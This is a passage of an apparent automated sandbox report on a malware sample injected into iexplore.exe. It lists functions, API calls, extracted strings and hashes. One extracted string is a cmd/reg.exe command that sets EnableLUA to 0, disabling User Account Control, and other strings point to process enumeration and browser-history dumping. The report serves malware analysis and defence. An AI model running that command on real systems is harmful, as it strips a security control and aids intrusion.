                                            • CloseHandle.KERNEL32(?), ref: 004077AA
                                            • CloseHandle.KERNEL32(?), ref: 004077AF
                                            Strings
                                            • /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f, xrefs: 00407791
                                            • C:\Windows\System32\cmd.exe, xrefs: 00407796
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseHandle$CreateProcess
                                            • String ID: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f$C:\Windows\System32\cmd.exe
                                            • API String ID: 2922976086-4183131282
                                            • Opcode ID: 86afbde76f2a9426f4ed7e8e7c7881cd7a3c7ba11745d0fd7a0dc136aa7099f4
                                            • Instruction ID: bcd6b2dc2297655d1c2a6c7a9d844aadd79638dc8707381bf3a952a3ff6736b4
                                            • Opcode Fuzzy Hash: 86afbde76f2a9426f4ed7e8e7c7881cd7a3c7ba11745d0fd7a0dc136aa7099f4
                                            • Instruction Fuzzy Hash: BCF03676D4029D76CB20ABD6DC0EEDF7F7DEBC5B11F00056AF904A6141E6746404C6B9
                                            Function 00407260 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMON
                                            Download Yara Rule
                                            Strings
                                            • C:\Program Files (x86)\Internet Explorer\iexplore.exe, xrefs: 004076C4
                                            • SG, xrefs: 004076DA
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID:
                                            • String ID: SG$C:\Program Files (x86)\Internet Explorer\iexplore.exe
                                            • API String ID: 0-1275280225
                                            • Opcode ID: aeb7ec08203138e6f15c389ffc7d883b5859742f8fda7ba0964a05b6f7ae7d1f
                                            • Instruction ID: 1b954d03a55cc3c1a25a26db856d3c6076ddce7f3b9fad0ad77fefb3a3407f05
                                            • Opcode Fuzzy Hash: aeb7ec08203138e6f15c389ffc7d883b5859742f8fda7ba0964a05b6f7ae7d1f
                                            • Instruction Fuzzy Hash: 2CF046B0F14A00EBCB0467655D186693A05A740356F404C77F907EA2F2EBBD5C41C61E
                                            Function 004050E4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35synchronizationCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00474EF8), ref: 00405120
                                            • SetEvent.KERNEL32(?), ref: 0040512C
                                            • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00405137
                                            • CloseHandle.KERNEL32(?), ref: 00405140
                                              • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Event$CloseCreateHandleLocalObjectSingleTimeWait
                                            • String ID: KeepAlive | Disabled
                                            • API String ID: 2993684571-305739064
                                            • Opcode ID: 09248d073b904291628f2a82f92fe6a987867c86155402bef043dd91105bf09b
                                            • Instruction ID: c1447ea2195e795a2fa4d382ed9a15925dec3dc8ccf256ab7d783030aa8980db
                                            • Opcode Fuzzy Hash: 09248d073b904291628f2a82f92fe6a987867c86155402bef043dd91105bf09b
                                            • Instruction Fuzzy Hash: 4CF06271904711BBDB103B758D0A66B7A54AB02311F0009BEF982916E2D6798840CF9A
                                            Function 0041B4A8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON
                                            Download Yara Rule
                                            APIs
                                            • FindResourceA.KERNEL32 ref: 0041B4B9
                                            • LoadResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4CD
                                            • LockResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4D4
                                            • SizeofResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4E3
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Resource$FindLoadLockSizeof
                                            • String ID: SETTINGS
                                            • API String ID: 3473537107-594951305
                                            • Opcode ID: 572f255012f9d3464d264dba9da87f940f43aba7d13ccaaee0753afa8a381888
                                            • Instruction ID: 65170a014006dd87783428e4339c5f85687a52ee3761dac8d56b05c0676c202a
                                            • Opcode Fuzzy Hash: 572f255012f9d3464d264dba9da87f940f43aba7d13ccaaee0753afa8a381888
                                            • Instruction Fuzzy Hash: 8AE01A36200B22EBEB311BA5AC4CD473E29F7C97637100075F90596232CB798840DAA8
                                            Function 0044139A Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 333ae2597f59f70c30e2a138da7d2dacca2148bf7cc6369c5742e0f4ac8aaabd
                                            • Instruction ID: 3288ceb70b28299b768e57bc56a65f905b411dc47ae91625c595fe6b39b3afde
                                            • Opcode Fuzzy Hash: 333ae2597f59f70c30e2a138da7d2dacca2148bf7cc6369c5742e0f4ac8aaabd
                                            • Instruction Fuzzy Hash: 4D71C431900256ABEF21CF55C884AFFBBB5EF95350F14012BE812A72A1D7748CC1CBA9
                                            Function 00449365 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F234), ref: 004493CF
                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 00449447
                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 00449474
                                            • _free.LIBCMT ref: 004493BD
                                              • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                                              • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                                            • _free.LIBCMT ref: 00449589
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
                                            • String ID:
                                            • API String ID: 1286116820-0
                                            • Opcode ID: 0a3c6fbe7e5a1f133d1032b40f823fca6b3dff27f0c0d46b4efcd8c71cfe77a6
                                            • Instruction ID: c95a83c4fc9d8f5f381c6ef12c4bd90d50aad01b0883e3b7d6e96279f2ead045
                                            • Opcode Fuzzy Hash: 0a3c6fbe7e5a1f133d1032b40f823fca6b3dff27f0c0d46b4efcd8c71cfe77a6
                                            • Instruction Fuzzy Hash: 71511A71904205EBEB14EFA9DD819AFB7BCEF44324F10066FE51493291EB788E42DB58
                                            Function 0040F8FD Relevance: 7.6, APIs: 5, Instructions: 132processCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                                            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F91B
                                            • Process32FirstW.KERNEL32(00000000,?), ref: 0040F93F
                                            • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F94E
                                            • CloseHandle.KERNEL32(00000000), ref: 0040FB05
                                              • Part of subcall function 0041BFE5: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,0040F5F9,00000000,?,?,00475338), ref: 0041BFFA
                                              • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                                              • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                                            • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040FAF6
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Process$OpenProcess32$Next$CloseCreateCurrentFirstHandleSnapshotToolhelp32
                                            • String ID:
                                            • API String ID: 4269425633-0
                                            • Opcode ID: 371d05c907dcca9c3c12ab80cf798e7523ffd5e5ecf3e3ca40c8afe2c02f4cbd
                                            • Instruction ID: d179df5438ecf7187d550cf9263b6860c2801d48d571b2859f9d543a591e132f
                                            • Opcode Fuzzy Hash: 371d05c907dcca9c3c12ab80cf798e7523ffd5e5ecf3e3ca40c8afe2c02f4cbd
                                            • Instruction Fuzzy Hash: 784116311083419BC325F722DC55AEFB3A5AF94345F50493EF48A921E2EF385A49C75A
                                            Function 0044F35A Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetEnvironmentStringsW.KERNEL32 ref: 0044F363
                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0044F386
                                              • Part of subcall function 00446137: HeapAlloc.KERNEL32(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169
                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044F3AC
                                            • _free.LIBCMT ref: 0044F3BF
                                            • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0044F3CE
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ByteCharEnvironmentMultiStringsWide$AllocFreeHeap_free
                                            • String ID:
                                            • API String ID: 2278895681-0
                                            • Opcode ID: 02a97bdb6e6c5d26fe886d3a9ae646317caea956d8251916105bf2d3fe3a3540
                                            • Instruction ID: 8337c1946637dec1c7c9c61cb05458c13fbc509b7d73539ecc926bc10a2836fd
                                            • Opcode Fuzzy Hash: 02a97bdb6e6c5d26fe886d3a9ae646317caea956d8251916105bf2d3fe3a3540
                                            • Instruction Fuzzy Hash: 2301B173601755BB37211ABA5C8CC7F6A6CDAC6FA5315013FFD14C2202EA68CD0581B9
                                            Function 0041C3F1 Relevance: 7.6, APIs: 5, Instructions: 67fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C430
                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,00000004,00000000,0041C510,00000000,00000000), ref: 0041C44D
                                            • CloseHandle.KERNEL32(00000000), ref: 0041C459
                                            • WriteFile.KERNEL32(00000000,00000000,00000000,00406F85,00000000), ref: 0041C46A
                                            • CloseHandle.KERNEL32(00000000), ref: 0041C477
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$CloseHandle$CreatePointerWrite
                                            • String ID:
                                            • API String ID: 1852769593-0
                                            • Opcode ID: c16bf2a5e476d7eb9c065cb57b6c83635d373e8a2041914a8f43a70e8d32cf2e
                                            • Instruction ID: 5cb8be75c3dc4c1e2f747800af3fbfd5a98fa41e64789a84fd548ad7506a8702
                                            • Opcode Fuzzy Hash: c16bf2a5e476d7eb9c065cb57b6c83635d373e8a2041914a8f43a70e8d32cf2e
                                            • Instruction Fuzzy Hash: B0110471288220FFEA104B24ACD9EFB739CEB46375F10462AF592C22C1C7259C81863A
                                            Function 00448299 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • GetLastError.KERNEL32(?,00000000,?,0043BC87,00000000,?,?,0043BD0B,00000000,00000000,00000000,00000000,00000000,?,?), ref: 0044829E
                                            • _free.LIBCMT ref: 004482D3
                                            • _free.LIBCMT ref: 004482FA
                                            • SetLastError.KERNEL32(00000000), ref: 00448307
                                            • SetLastError.KERNEL32(00000000), ref: 00448310
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorLast$_free
                                            • String ID:
                                            • API String ID: 3170660625-0
                                            • Opcode ID: 3b5a676440ed160f08d3b9c67501060176d9d4d3bcfe02f134d94644f9898a15
                                            • Instruction ID: 817e1e76de570c2b023109a843fda652767a1b5a915d0172e9d2adf04509528a
                                            • Opcode Fuzzy Hash: 3b5a676440ed160f08d3b9c67501060176d9d4d3bcfe02f134d94644f9898a15
                                            • Instruction Fuzzy Hash: 5601F936500B0067F3112A2A5C8596F2559EBC2B7A735452FFD19A22D2EFADCC01816D
                                            Function 004509BC Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • _free.LIBCMT ref: 004509D4
                                              • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                                              • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                                            • _free.LIBCMT ref: 004509E6
                                            • _free.LIBCMT ref: 004509F8
                                            • _free.LIBCMT ref: 00450A0A
                                            • _free.LIBCMT ref: 00450A1C
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free$ErrorFreeHeapLast
                                            • String ID:
                                            • API String ID: 776569668-0
                                            • Opcode ID: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
                                            • Instruction ID: 8e1836d4b3683ea2f551dac33bf8b94159c93f8dbbc189607f67f5fa0db289e6
                                            • Opcode Fuzzy Hash: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
                                            • Instruction Fuzzy Hash: F3F04F76504600B79620EB5DE8C2C1B73D9EA0571A795891BF66CDB612CB38FCC0869C
                                            Function 00444048 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                            Download Yara Rule
                                            APIs
                                            • _free.LIBCMT ref: 00444066
                                              • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                                              • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                                            • _free.LIBCMT ref: 00444078
                                            • _free.LIBCMT ref: 0044408B
                                            • _free.LIBCMT ref: 0044409C
                                            • _free.LIBCMT ref: 004440AD
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free$ErrorFreeHeapLast
                                            • String ID:
                                            • API String ID: 776569668-0
                                            • Opcode ID: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
                                            • Instruction ID: c4ed0220327abb1134bcf7d54e43c2409a3611c90002b0fe773cef56a7474a4d
                                            • Opcode Fuzzy Hash: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
                                            • Instruction Fuzzy Hash: 11F03AB18009208FA631AF2DBD414053B61E705769346822BF62C62A70C7B94ED2CFCF
                                            Function 0044BA37 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 186COMMONLIBRARYCODE
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID:
                                            • String ID: PkGNG
                                            • API String ID: 0-263838557
                                            • Opcode ID: 6a83c2428ddcf6ea71a3f14a315267ad78d224b448d93c685a7e270e7132f7c7
                                            • Instruction ID: 56b21f6c39f874414c878b072b89285690216c2d241c0ad811085e1835033e53
                                            • Opcode Fuzzy Hash: 6a83c2428ddcf6ea71a3f14a315267ad78d224b448d93c685a7e270e7132f7c7
                                            • Instruction Fuzzy Hash: 1B51B271D00249AAEF14DFA9C885FAFBBB8EF45314F14015FE400A7291DB78D901CBA9
                                            Function 0044E6E9 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON
                                            Download Yara Rule
                                            APIs
                                            • _strpbrk.LIBCMT ref: 0044E738
                                            • _free.LIBCMT ref: 0044E855
                                              • Part of subcall function 0043BD19: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0043BD1B
                                              • Part of subcall function 0043BD19: GetCurrentProcess.KERNEL32(C0000417), ref: 0043BD3D
                                              • Part of subcall function 0043BD19: TerminateProcess.KERNEL32(00000000), ref: 0043BD44
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Process$CurrentFeaturePresentProcessorTerminate_free_strpbrk
                                            • String ID: *?$.
                                            • API String ID: 2812119850-3972193922
                                            • Opcode ID: 6703a85dd49711e1afab558f77f60869b6155e4f96c4351f2947c71862cae23b
                                            • Instruction ID: 94a4b4bbf586d133b1ca6d09685756ea089c4dad0dcc4a5060c65dcbb11523ea
                                            • Opcode Fuzzy Hash: 6703a85dd49711e1afab558f77f60869b6155e4f96c4351f2947c71862cae23b
                                            • Instruction Fuzzy Hash: B951C375E00109EFEF14DFAAC881AAEBBB5FF58314F25816EE454E7301E6399E018B54
                                            Function 00415AEA Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CountEventTick
                                            • String ID: !D@$NG
                                            • API String ID: 180926312-2721294649
                                            • Opcode ID: 3d261558ad018fccd4b1db3b2adf3e9912d7a273ea376c309d6eaae2c8c0653a
                                            • Instruction ID: 1740d3d485f2be3f914829e5aa2a54ae858af1ae40273f66f7ff2800e9d96298
                                            • Opcode Fuzzy Hash: 3d261558ad018fccd4b1db3b2adf3e9912d7a273ea376c309d6eaae2c8c0653a
                                            • Instruction Fuzzy Hash: 7E51A1316083019AC724FB32D852AEF73A5AF94314F50493FF54A671E2EF3C5949C68A
                                            Function 00442385 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON
                                            Download Yara Rule
                                            APIs
                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004424DE
                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004424F3
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                            • String ID: `#D$`#D
                                            • API String ID: 885266447-2450397995
                                            • Opcode ID: 36fac044672f79bbd2692348072d6fa41419b258ac2755bfc370d2617ef2a991
                                            • Instruction ID: d0478598ef992627c852fcfbe86add3ca1c9fa58067414995f231753f3186543
                                            • Opcode Fuzzy Hash: 36fac044672f79bbd2692348072d6fa41419b258ac2755bfc370d2617ef2a991
                                            • Instruction Fuzzy Hash: 78519071A00208AFDF18DF59C980AAEBBB2FB94314F59C19AF81897361D7B9DD41CB44
                                            Function 00443435 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\Internet Explorer\iexplore.exe,00000104), ref: 00443475
                                            • _free.LIBCMT ref: 00443540
                                            • _free.LIBCMT ref: 0044354A
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free$FileModuleName
                                            • String ID: C:\Program Files (x86)\Internet Explorer\iexplore.exe
                                            • API String ID: 2506810119-908218840
                                            • Opcode ID: c70776266e2bd8d98222b272a4c4964d73f1f6f6485ba9fff5740fbb3794026e
                                            • Instruction ID: 78b8e4ab202bb8962dfea6a4c95dea7b8c186c0554b41bb8e719afd17783d6d0
                                            • Opcode Fuzzy Hash: c70776266e2bd8d98222b272a4c4964d73f1f6f6485ba9fff5740fbb3794026e
                                            • Instruction Fuzzy Hash: 2E31C471A00258BFEB21DF999C8199EBBBCEF85B15F10406BF50497311D6B89F81CB98
                                            Function 0044B81F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101fileCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,?,00000D55,00000000,00000000,FF8BC35D,00000000,?,PkGNG,0044BB7E,?,00000000,FF8BC35D), ref: 0044B8D2
                                            • WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0044B900
                                            • GetLastError.KERNEL32 ref: 0044B931
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ByteCharErrorFileLastMultiWideWrite
                                            • String ID: PkGNG
                                            • API String ID: 2456169464-263838557
                                            • Opcode ID: f29f19b57bd44476b84c2158df793cbd226619e25f42890a5cb9caccfef44ccc
                                            • Instruction ID: a4f89274a665815b2d7bd0a52cbb4c71b9b2878c435ac706d73e761117ab6cd9
                                            • Opcode Fuzzy Hash: f29f19b57bd44476b84c2158df793cbd226619e25f42890a5cb9caccfef44ccc
                                            • Instruction Fuzzy Hash: 18317271A002199FDB14DF59DC809EAB7B8EB48305F0444BEE90AD7260DB34ED80CBA4
                                            Function 0040404C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93sleepCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00404066
                                              • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,0040407C), ref: 0041B99F
                                              • Part of subcall function 00418568: CloseHandle.KERNEL32(004040F5), ref: 0041857E
                                              • Part of subcall function 00418568: CloseHandle.KERNEL32(t^F), ref: 00418587
                                              • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                                            • Sleep.KERNEL32(000000FA,00465E74), ref: 00404138
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseFileHandle$CreateCurrentModuleNameProcessSleep
                                            • String ID: /sort "Visit Time" /stext "$0NG
                                            • API String ID: 368326130-3219657780
                                            • Opcode ID: 074ad0252c5f85a0395eaa63b88ebd601cb6552471d06d252c91316da9998368
                                            • Instruction ID: 62b88373b0174ac8ae4090b78ebfd0a8fca35ca34796720d8357018cc2c92f87
                                            • Opcode Fuzzy Hash: 074ad0252c5f85a0395eaa63b88ebd601cb6552471d06d252c91316da9998368
                                            • Instruction Fuzzy Hash: E9316271A0011956CB15FBA6D8969EE7375AB90308F40007FF206B71E2EF385D89CA99
                                            Function 0041C9E2 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 83COMMON
                                            Download Yara Rule
                                            APIs
                                            • SystemParametersInfoW.USER32 ref: 0041CAD7
                                              • Part of subcall function 0041376F: RegCreateKeyA.ADVAPI32(80000001,Control Panel\Desktop,0046611C), ref: 0041377E
                                              • Part of subcall function 0041376F: RegSetValueExA.ADVAPI32(0046611C,?,00000000,?,00000000,00000000), ref: 004137A6
                                              • Part of subcall function 0041376F: RegCloseKey.ADVAPI32(0046611C), ref: 004137B1
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseCreateInfoParametersSystemValue
                                            • String ID: Control Panel\Desktop$TileWallpaper$WallpaperStyle
                                            • API String ID: 4127273184-3576401099
                                            • Opcode ID: 3c2d205688c6346916b5703b91afcadbe5e4724bf31c27c5056ca6af97e88c58
                                            • Instruction ID: 1197cbbb31bb874c57b9e92d70abebba424d259215afdbf251ae70ffa4d9d73d
                                            • Opcode Fuzzy Hash: 3c2d205688c6346916b5703b91afcadbe5e4724bf31c27c5056ca6af97e88c58
                                            • Instruction Fuzzy Hash: 7B1184B2BC021473D419313E5DABBBE28029743B51F94416BF6123A6C6E8DF0A8102CF
                                            Function 004162E4 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 79COMMON
                                            Download Yara Rule
                                            APIs
                                            • _wcslen.LIBCMT ref: 004162F5
                                              • Part of subcall function 00413877: RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
                                              • Part of subcall function 00413877: RegSetValueExA.ADVAPI32(004660A4,000000AF,00000000,00000004,00000001,00000004), ref: 004138A0
                                              • Part of subcall function 00413877: RegCloseKey.ADVAPI32(004660A4), ref: 004138AB
                                              • Part of subcall function 00409DE4: _wcslen.LIBCMT ref: 00409DFD
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _wcslen$CloseCreateValue
                                            • String ID: !D@$okmode$PG
                                            • API String ID: 3411444782-3370592832
                                            • Opcode ID: 3229767f42b224c22e38ab05f87ced9dbd25ea478007aec8b0515c8cef1bdfe3
                                            • Instruction ID: dff749dc984b923ba5de2327a6f3f9cc2e67bcaf748228c26ce3aec7d70e92d7
                                            • Opcode Fuzzy Hash: 3229767f42b224c22e38ab05f87ced9dbd25ea478007aec8b0515c8cef1bdfe3
                                            • Instruction Fuzzy Hash: 10119371B442011ADB187B72D832ABD22969F94358F80443FF54AAF2E2DEBD4C51525D
                                            Function 0040C5EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0040C4C3: PathFileExistsW.SHLWAPI(00000000), ref: 0040C4F6
                                            • PathFileExistsW.SHLWAPI(00000000), ref: 0040C61D
                                            • PathFileExistsW.SHLWAPI(00000000), ref: 0040C688
